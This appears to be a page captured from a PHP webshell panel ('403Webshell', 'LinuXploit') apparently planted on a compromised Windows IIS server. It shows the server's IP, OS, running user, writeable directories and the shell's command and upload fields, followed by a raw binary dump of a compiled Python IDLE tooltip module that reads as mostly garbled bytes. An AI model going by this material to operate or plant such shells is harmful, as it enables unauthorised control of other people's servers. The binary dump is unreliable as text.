403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/idlelib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/idlelib/__pycache__/tooltip.cpython-313.opt-1.pyc
�

��i����SrSSK7 "SS5r"SS\5r"SS\5rS	r\S
:XaSSKJr \"SS
SS9 SSK	J
r
 \
"\5 gg)z�Tools for displaying tool-tips.

This includes:
 * an abstract base-class for different kinds of tooltips
 * a simple text-only Tooltip class
�)�*c�B�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rg)�TooltipBase�
z abstract base class for tooltipsc��XlSUlg)z�Create a tooltip.

anchor_widget: the widget next to which the tooltip will be shown

Note that a widget will only be shown when showtip() is called.
N��
anchor_widget�	tipwindow)�selfr	s  �$C:\Python313\\Lib\idlelib\tooltip.py�__init__�TooltipBase.__init__
s��+�����c�$�UR5 g�N��hidetip�rs r�__del__�TooltipBase.__del__s�����rc��UR(ag[UR5=UlnURS5 URRSSURSS5 UR5 UR5 URR5 URR5 g![a Naf=f)zdisplay the tooltipN�z!::tk::unsupported::MacWindowStyle�style�help�noActivates)r
�Toplevelr	�wm_overrideredirect�tk�call�_w�TclError�position_window�showcontents�update_idletasks�lift�r�tws  r�showtip�TooltipBase.showtips����>�>��&�t�'9�'9�:�:����
���q�!�	�
�E�E�J�J�:�G�R�U�U��}�
.�
	
�����������'�'�)��������
�	��	�s�)B?�?
C�Cc���UR5upURR5U-nURR5U-nURRSX44-5 g)z&(re)-set the tooltip's screen position�+%d+%dN)�get_positionr	�winfo_rootx�winfo_rootyr
�wm_geometry)r�x�y�root_x�root_ys     rr"�TooltipBase.position_window/s^��� � �"����#�#�/�/�1�A�5���#�#�/�/�1�A�5�����"�"�8�v�.>�#>�?rc�@�SURR5S-4$)z(choose a screen position for the tooltip�r)r	�winfo_heightrs rr,�TooltipBase.get_position6s#���4�%�%�2�2�4�q�8�8�8rc��[e)z$content display hook for sub-classes)�NotImplementedErrorrs rr#�TooltipBase.showcontentsAs
��"�!rc�|�URnSUlU(aUR5 gg![a gf=f�zhide the tooltipN)r
�destroyr!r&s  rr�TooltipBase.hidetipFs>���^�^�����
�
��
�
�����
��
�s�.�
;�;rN)
�__name__�
__module__�__qualname__�__firstlineno__�__doc__r
rr(r"r,r#r�__static_attributes__�rrrr
s)��*����*@�	9�"�
	rrc�h^�\rSrSrSrSU4SjjrU4SjrSSjrSSjrSr	Sr
U4S	jrS
rU=r
$)
�OnHoverTooltipBase�Rz?abstract base class for tooltips, with delayed on-hover displayc�@>�[TU]U5 X lSUlURRSUR5UlURRSUR5Ul	URRSUR5Ul
g)aACreate a tooltip with a mouse hover delay.

anchor_widget: the widget next to which the tooltip will be shown
hover_delay: time to delay before showing the tooltip, in milliseconds

Note that a widget will only be shown when showtip() is called,
e.g. after hovering over the anchor widget with the mouse for enough
time.
N�<Enter>�<Leave>�<Button>)�superr
�hover_delay�	_after_idr	�bind�_show_event�_id1�_hide_event�_id2�_id3)rr	rO�	__class__s   �rr
�OnHoverTooltipBase.__init__Us���	����'�&������&�&�+�+�I�t�7G�7G�H��	��&�&�+�+�I�t�7G�7G�H��	��&�&�+�+�J��8H�8H�I��	rc�(>�URRSUR5 URRSUR5 URRSUR5 [TU]5 g![
a Nf=f)NrKrLrM)r	�unbindrSrUrVr!rNr�rrWs �rr�OnHoverTooltipBase.__del__gsv���	����%�%�i����;����%�%�i����;����%�%�j�$�)�)�<�	������	��	�s�A2B�
B�Bc�h�UR(aUR5 gUR5 g)z$event handler to display the tooltipN)rO�scheduler(�r�events  rrR�OnHoverTooltipBase._show_eventps������M�M�O��L�L�Nrc�$�UR5 g)z!event handler to hide the tooltipNrr_s  rrT�OnHoverTooltipBase._hide_eventws�����rc��UR5 URRURUR5Ulg)z*schedule the future display of the tooltipN)�
unscheduler	�afterrOr(rPrs rr^�OnHoverTooltipBase.schedule{s4�������+�+�1�1�$�2B�2B�26�,�,�@��rc�p�URnSUlU(aURRU5 gg)z(cancel the future display of the tooltipN)rPr	�after_cancel)r�after_ids  rre�OnHoverTooltipBase.unschedule�s.���>�>���������+�+�H�5�rc�d>�UR5 [TU]
5 g![a Nf=fr=)rer!rNrr[s �rr�OnHoverTooltipBase.hidetip�s2���	��O�O��	������	��	�s�"�
/�/)rPrSrUrVrO)��r)r@rArBrCrDr
rrRrTr^rerrE�
__classcell__�rWs@rrHrHRs0���I�J�$���@�6��rrHc�:^�\rSrSrSrSU4SjjrSrSrU=r$)�Hovertip�zAA tooltip that pops up when a mouse hovers over an anchor widget.c�D>�[TU]XS9 X lX@lXPlg)aFCreate a text tooltip with a mouse hover delay.

anchor_widget: the widget next to which the tooltip will be shown
hover_delay: time to delay before showing the tooltip, in milliseconds

Note that a widget will only be shown when showtip() is called,
e.g. after hovering over the anchor widget with the mouse for enough
time.
�rON)rNr
�text�
foreground�
background)rr	rvrOrwrxrWs      �rr
�Hovertip.__init__�s$���	�����@��	�$��$�rc
��[URUR[[SUR
URS9nUR5 g)Nr)rv�justify�relief�borderwidthrwrx)�Labelr
rv�LEFT�SOLIDrwrx�pack)r�labels  rr#�Hovertip.showcontents�s8���d�n�n�4�9�9�d�#�!�"&�/�/�d�o�o�O��	�
�
�r)rxrwrv)rnz#000000z#ffffe0)	r@rArBrCrDr
r#rErorps@rrrrr�s���G�8<�2;�%� �rrrc��[U5nURS5 [[UR	5RS5SS5up#UR	SX#S-4-5 [
USS9nUR5 [USS9nUR5 [US	S
S9 [USS9nUR5 [US
SS9 g)NzTest tooltip�+rr+�zPlace your mouse over buttons)rvz"Button 1 -- 1/2 second hover delayz!This is tooltip text for button1.i�ruzButton 2 -- no hover delayz!This is tooltip
text for button2.)
r�title�map�int�geometry�splitr~r��Buttonrr)�parent�topr0r1r��button1�button2s       r�_tooltipr��s���
�6�
�C��I�I�n���s�F�O�O�%�+�+�C�0���4�5�D�A��L�L��Q�C��L�(�)��#�;�<�E�	�J�J�L��S�C�D�G��L�L�N��W�9�s�K��S�;�<�G��L�L�N��W�:��Mr�__main__)�mainzidlelib.idle_test.test_tooltip�F)�	verbosity�exit)�runN)rD�tkinterrrHrrr�r@�unittestr��idlelib.idle_test.htestr�rFrr�<module>r�se����E�E�P<��<�~�!��2N��z����	)�Q�U�C�+���M�r

Youez - 2016 - github.com/yon3zu
LinuXploit